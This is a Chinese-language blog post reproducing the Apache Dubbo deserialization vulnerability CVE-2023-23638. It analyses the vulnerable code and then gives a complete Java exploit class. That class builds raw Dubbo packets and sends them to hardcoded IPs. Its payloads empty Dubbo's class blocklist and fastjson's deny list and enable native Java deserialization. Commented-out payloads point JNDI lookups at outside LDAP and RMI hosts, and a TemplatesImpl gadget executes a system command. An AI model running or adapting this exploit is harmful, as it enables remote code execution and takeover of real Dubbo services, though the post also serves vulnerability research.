dubbo 反序列化漏洞CVE-2023-23638

dubbo 反序列化漏洞CVE-2023-23638

环境

参考https://github.com/lz2y/DubboPOC

需要下载zookeeper

复现

前面的触发方式不详述(太复杂了,学不会),参考:https://xz.aliyun.com/t/12333

从GenericFilter开始分析

if (StringUtils.isEmpty(generic)
                        || ProtocolUtils.isDefaultGenericSerialization(generic)
                        || ProtocolUtils.isGenericReturnRawResult(generic)) {
                    try {
                        args = PojoUtils.realize(args, params, method.getGenericParameterTypes());
                    } catch (IllegalArgumentException e) {
                        throw new RpcException(e);
                    }
                }

当获取到generic的值为raw.return时候,调用到PojoUtils.realize方法。

下面是PojoUtils.realize->realize0的关键代码

Method method = getSetterMethod(dest.getClass(), name, value.getClass());
                            if (method != null) {
                                Type ptype = method.getGenericParameterTypes()[0];
                                value = realize0(value, method.getParameterTypes()[0], ptype, history);
                                try {
                                    method.invoke(dest, value);
                                } catch (Exception e) {
                                    String exceptionDescription = "Failed to set pojo " + dest.getClass().getSimpleName() + " property " + name
                                        + " value " + value.getClass() + ", cause: " + e.getMessage();
                                    logger.error(exceptionDescription, e);
                                    throw new RuntimeException(exceptionDescription, e);
                                }
                            } else {
                                Field field = getField(dest.getClass(), name);
                                if (field != null) {
                                    value = realize0(value, field.getType(), field.getGenericType(), history);
                                    try {
                                        field.set(dest, value);
                                    } catch (IllegalAccessException e) {
                                        String exceptionDescription = "Failed to set field " + name + " of pojo " + dest.getClass().getName() + " : " + e.getMessage();
                                        throw new RuntimeException(exceptionDescription, e);
                                    }
                                }
                            }

关键步骤就是先获取class键所对应的值的class里面的getter方法,这个getter方法取决于map中下一个键值对,键为其getter的属性名,值为其值。如果没有这个属性的getter方法,那么就直接反射来设置其值。所以就有了这个漏洞。

基于之前的漏洞,dubbo加入了SerializeClassChecker来进行验证。

if (pojo instanceof Map<?, ?> && type != null) {
            Map<Object, Object> map = (Map<Object, Object>) pojo;
            Object className = ((Map<Object, Object>) pojo).get("class");
            if (className instanceof String) {
                SerializeClassChecker.getInstance().validateClass((String) className);
                try {
                    type = ClassUtils.forName((String) className);
                    if (GENERIC_WITH_CLZ) {
                        map.remove("class");
                    }
                } catch (ClassNotFoundException e) {
                    // ignore
                }
            }

查看其源码:

public static SerializeClassChecker getInstance() {
        if (INSTANCE == null) {
            synchronized (SerializeClassChecker.class) {
                if (INSTANCE == null) {
                    INSTANCE = new SerializeClassChecker();
                }
            }
        }
        return INSTANCE;
    }

明显的单例模式,可以用下面的poc来将其黑名单置空:

private static void getBypassPayload(Hessian2ObjectOutput out) throws IOException {
        HashMap<String, Object> instanceMap = new HashMap<>();
        instanceMap.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
        instanceMap.put("CLASS_DESERIALIZE_BLOCKED_SET", new ConcurrentHashSet<>());
        HashMap<String, Object> scc = new HashMap<>();
        scc.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
        scc.put("INSTANCE", instanceMap);
        out.writeObject(new Object[]{scc});

        HashMap<String, Object> map = new HashMap<>();
        map.put("generic", "raw.return");
        out.writeObject(map);
    }

然后就可以用jndi来打了。下面就不详细说了,网上一堆poc。我说说我的新想法。

我比较感兴趣的还是java-native来进行反序列化。

GenericFilter里面有这么一些代码:

} else if (ProtocolUtils.isJavaGenericSerialization(generic)) {
                    Configuration configuration = ApplicationModel.getEnvironment().getConfiguration();
                    if (!configuration.getBoolean(CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE, false)) {
                        String notice = "Trigger the safety barrier! " +
                                "Native Java Serializer is not allowed by default." +
                                "This means currently maybe being attacking by others. " +
                                "If you are sure this is a mistake, " +
                                "please set `" + CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE + "` enable in configuration! " +
                                "Before doing so, please make sure you have configure JEP290 to prevent serialization attack.";
                        logger.error(notice);
                        throw new RpcException(new IllegalStateException(notice));
                    }

                    for (int i = 0; i < args.length; i++) {
                        if (byte[].class == args[i].getClass()) {
                            try (UnsafeByteArrayInputStream is = new UnsafeByteArrayInputStream((byte[]) args[i])) {
                                args[i] = ExtensionLoader.getExtensionLoader(Serialization.class)
                                        .getExtension(GENERIC_SERIALIZATION_NATIVE_JAVA)
                                        .deserialize(null, is).readObject();
                            } catch (Exception e) {
                                throw new RpcException("Deserialize argument [" + (i + 1) + "] failed.", e);
                            }

然后结合https://xz.aliyun.com/t/12396其中的扩展打法,我想有没有fastjson1.83的不出网打法。首先了解到fastjson是有黑名单的,是否能结合dubbo的漏洞将其置空呢?

在JSONObject:

protected Class<?> resolveClass(ObjectStreamClass desc)
                throws IOException, ClassNotFoundException {
            String name = desc.getName();
            if (name.length() > 2) {
                int index = name.lastIndexOf('[');
                if (index != -1) {
                    name = name.substring(index + 1);
                }
                if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') {
                    name = name.substring(1, name.length() - 1);
                }

                if (TypeUtils.getClassFromMapping(name) == null) {
                    ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);
                }
            }
            return super.resolveClass(desc);
        }

然后了解到fastjson的黑名单在ParserConfig里面。

同样是单例模式:

public static ParserConfig getGlobalInstance() {
        return global;
    }
    public static ParserConfig                              global                = new ParserConfig();

所以就很好办了

public static void getFastjsonHash(Hessian2ObjectOutput out) throws IOException {
        out.writeUTF("2.7.21");
        //todo 此处填写Dubbo提供的服务名
        out.writeUTF("org.apache.dubbo.samples.api.HelloService");
        out.writeUTF("");
        out.writeUTF("$invoke");
        out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        //todo 此处填写Dubbo提供的服务的方法
        out.writeUTF("sayHello");
        out.writeObject(new String[] {"java.lang.String"});
        HashMap<String, Object> instanceMap = new HashMap<>();
        instanceMap.put("class", "com.alibaba.fastjson.parser.ParserConfig");
        instanceMap.put("denyHashCodes", new long[]{});
        HashMap<String, Object> scc = new HashMap<>();
        scc.put("class", "com.alibaba.fastjson.parser.ParserConfig");
        scc.put("global", instanceMap);
        out.writeObject(new Object[]{scc});

        HashMap<String, Object> map = new HashMap<>();
        map.put("generic", "raw.return");
        out.writeObject(map);
    }

舒服,直接Templates反序列化一把嗦。结果寄了。debug半天,找到原因了。由于TemplatesImpl里面的_bytecodes属性为字节数组

String name = desc.getName();
            if (name.length() > 2) {
                int index = name.lastIndexOf('[');
                if (index != -1) {
                    name = name.substring(index + 1);
                }
                if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') {
                    name = name.substring(1, name.length() - 1);
                }

desc.getName()其值为[[B。熟悉fastjson的应该知道,在前几个版本有加[绕过黑名单的打法,然后上面的代码也是这个意思,最终导致name=B然后TypeUtils.getClassFromMapping(name)里面,如果name的长度小于3直接报错,即使不报错,java也没有B所对应的类(byte为b)。所以需要一个链子,不能有任何数组。想了半天,dubbo自带的依赖实在找不到,不知道其他依赖是否能打。。。

然后就是数据传输了,poc里面有,然后我还特意去找了一下dubbo这个头部的构造原因:http://moguhu.com/article/detail?articleId=170

并不是很懂,不管了,又不是不能用。

复制粘贴各种poc集成的屎山代码的exp:

package org.apache.dubbo.samples;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.dubbo.common.beanutil.JavaBeanDescriptor;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.io.UnsafeByteArrayOutputStream;
import org.apache.dubbo.common.serialize.ObjectOutput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.apache.dubbo.common.serialize.nativejava.NativeJavaSerialization;
import org.apache.dubbo.common.utils.ConcurrentHashSet;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.*;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;

public class Exp {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);

        // set body
        out.writeUTF("2.7.21");
        //todo 此处填写Dubbo提供的服务名
        out.writeUTF("org.apache.dubbo.samples.api.HelloService");
        out.writeUTF("");
        out.writeUTF("$invoke");
        out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        //todo 此处填写Dubbo提供的服务的方法
        out.writeUTF("sayHello");
        out.writeObject(new String[] {"java.lang.String"});

        // Step-1
        getBypassPayload(out);

        // Step-2
        // POC 1: raw.return
//        getRawReturnPayload(out, "ldap://47.96.173.116:2333/frwwt1");
        // POC 2: bean
//        getBeanPayload(out, "rmi://47.96.173.116:8888/Object");

        out.flushBuffer();

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此处填写Dubbo服务地址及端口
        Socket socket = new Socket("10.10.7.45", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
        out.cleanup();
        byteArrayOutputStream.close();

        Thread.sleep(1000);

        byteArrayOutputStream = new ByteArrayOutputStream();
        socket = new Socket("10.10.7.45", 20880);
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
        getInstance(out);
        socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);

        Thread.sleep(1000);

        byteArrayOutputStream = new ByteArrayOutputStream();
        socket = new Socket("10.10.7.45", 20880);
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
        getProperties(out);
        socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);

        Thread.sleep(1000);

        byteArrayOutputStream = new ByteArrayOutputStream();
        socket = new Socket("192.168.7.45", 20880);
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
        getFastjsonHash(out);
        socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);

 /*       Thread.sleep(1000);
失败的fastjson反序列化
        byteArrayOutputStream = new ByteArrayOutputStream();
        socket = new Socket("10.10.7.45", 20880);
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
        getMapping(out);
        socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);

        Thread.sleep(1000);

        byteArrayOutputStream = new ByteArrayOutputStream();
        socket = new Socket("10.10.7.45", 20880);
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
        hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
        getObject(out);
        socketFlush(byteArrayOutputStream, header, hessian2ByteArrayOutputStream, out, socket);

 */
    }

    private static void socketFlush(ByteArrayOutputStream byteArrayOutputStream, byte[] header, ByteArrayOutputStream hessian2ByteArrayOutputStream, Hessian2ObjectOutput out, Socket socket) throws IOException {
        byte[] bytes;
        OutputStream outputStream;
        out.flushBuffer();
        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
        bytes = byteArrayOutputStream.toByteArray();
        outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
        out.cleanup();
        byteArrayOutputStream.close();
    }

    private static void getBypassPayload(Hessian2ObjectOutput out) throws IOException {
        HashMap<String, Object> instanceMap = new HashMap<>();
        instanceMap.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
        instanceMap.put("CLASS_DESERIALIZE_BLOCKED_SET", new ConcurrentHashSet<>());
        HashMap<String, Object> scc = new HashMap<>();
        scc.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
        scc.put("INSTANCE", instanceMap);
        out.writeObject(new Object[]{scc});

        HashMap<String, Object> map = new HashMap<>();
        map.put("generic", "raw.return");
        out.writeObject(map);
    }

    private static void getRawReturnPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
        Map<Object, Object> map2 = new LinkedHashMap<>();
        map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
        map2.put("dataSourceName", ldapUri);
        map2.put("autoCommit", true);
        out.writeObject(new Object[]{map2});

        HashMap<String, Object> map = new HashMap<>();
        map.put("generic", "raw.return");
        out.writeObject(map);
    }

    private static void getBeanPayload(Hessian2ObjectOutput out, String ldapUri) throws IOException {
        JavaBeanDescriptor javaBeanDescriptor = new JavaBeanDescriptor("org.apache.xbean.propertyeditor.JndiConverter",7);
        javaBeanDescriptor.setProperty("asText",ldapUri);
        out.writeObject(new Object[]{javaBeanDescriptor});
        HashMap<String, Object> map = new HashMap<>();

        map.put("generic", "bean");
        out.writeObject(map);
    }

    /*
    public static void getMapping(Hessian2ObjectOutput out) throws IOException {
        out.writeUTF("2.7.21");
        //todo 此处填写Dubbo提供的服务名
        out.writeUTF("org.apache.dubbo.samples.api.HelloService");
        out.writeUTF("");
        out.writeUTF("$invoke");
        out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        //todo 此处填写Dubbo提供的服务的方法
        out.writeUTF("sayHello");
        out.writeObject(new String[] {"java.lang.String"});
        HashMap<String, Object> instanceMap = new HashMap<>();
        instanceMap.put("class", "com.alibaba.fastjson.util.TypeUtils");
        ConcurrentMap<String, Class<?>> mappings = new ConcurrentHashMap<String, Class<?>>(256, 0.75f, 1);
        mappings.put("B", byte[][].class);
        mappings.put("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.class);
        instanceMap.put("mapping", mappings);
        out.writeObject(new Object[]{instanceMap});

        HashMap<String, Object> map = new HashMap<>();
        map.put("generic", "raw.return");
        out.writeObject(map);
    }
    */

    public static void getFastjsonHash(Hessian2ObjectOutput out) throws IOException {
        out.writeUTF("2.7.21");
        //todo 此处填写Dubbo提供的服务名
        out.writeUTF("org.apache.dubbo.samples.api.HelloService");
        out.writeUTF("");
        out.writeUTF("$invoke");
        out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        //todo 此处填写Dubbo提供的服务的方法
        out.writeUTF("sayHello");
        out.writeObject(new String[] {"java.lang.String"});
        HashMap<String, Object> instanceMap = new HashMap<>();
        instanceMap.put("class", "com.alibaba.fastjson.parser.ParserConfig");
        instanceMap.put("denyHashCodes", new long[]{});
        HashMap<String, Object> scc = new HashMap<>();
        scc.put("class", "com.alibaba.fastjson.parser.ParserConfig");
        scc.put("global", instanceMap);
        out.writeObject(new Object[]{scc});

        HashMap<String, Object> map = new HashMap<>();
        map.put("generic", "raw.return");
        out.writeObject(map);
    }
    public static void getProperties(Hessian2ObjectOutput out) throws IOException {
        out.writeUTF("2.7.21");
        //todo 此处填写Dubbo提供的服务名
        out.writeUTF("org.apache.dubbo.samples.api.HelloService");
        out.writeUTF("");
        out.writeUTF("$invoke");
        out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        //todo 此处填写Dubbo提供的服务的方法
        out.writeUTF("sayHello");
        out.writeObject(new String[] {"java.lang.String"});
        Properties properties = new Properties();
        properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
        properties.setProperty("serialization.security.check","false");
        HashMap map = new HashMap();
        map.put("class", "java.lang.System");
        map.put("properties", properties);
        out.writeObject(new Object[]{map});

        HashMap<String, Object> map2 = new HashMap<>();
        map2.put("generic", "raw.return");
        out.writeObject(map2);
    }

    /*
    public static void getObject(Hessian2ObjectOutput out) throws Exception{
        out.writeUTF("2.7.21");
        //todo 此处填写Dubbo提供的服务名
        out.writeUTF("org.apache.dubbo.samples.api.HelloService");
        out.writeUTF("");
        out.writeUTF("$invoke");
        out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        //todo 此处填写Dubbo提供的服务的方法
        out.writeUTF("sayHello");
        out.writeObject(new String[] {"java.lang.String"});
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[] bytes = clazz.toBytecode();
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{bytes});
        setValue(templates, "_name", "test");
        setValue(templates, "_tfactory", new TransformerFactoryImpl());
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);

        NativeJavaSerialization nativeJavaSerialization =new NativeJavaSerialization();
        UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();
        ObjectOutput o = nativeJavaSerialization.serialize(null, unsafeByteArrayOutputStream);
        o.writeObject(val);
        out.writeObject(new Object[]{unsafeByteArrayOutputStream.toByteArray()});

        HashMap<String, Object> map2 = new HashMap<>();
        map2.put("generic", "nativejava");
        out.writeObject(map2);
    }
     */

    private static void getInstance(Hessian2ObjectOutput out) throws IOException {
        out.writeUTF("2.7.21");
        //todo 此处填写Dubbo提供的服务名
        out.writeUTF("org.apache.dubbo.samples.api.HelloService");
        out.writeUTF("");
        out.writeUTF("$invoke");
        out.writeUTF("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
        //todo 此处填写Dubbo提供的服务的方法
        out.writeUTF("sayHello");
        out.writeObject(new String[] {"java.lang.String"});
        HashMap map = new HashMap();
        map.put("class", "java.time.zone.TzdbZoneRulesProvider");
        out.writeObject(new Object[]{map});

        HashMap<String, Object> map2 = new HashMap<>();
        map2.put("generic", "raw.return");
        out.writeObject(map2);
    }

    private static void setValue(Object object, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = object.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(object, value);
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇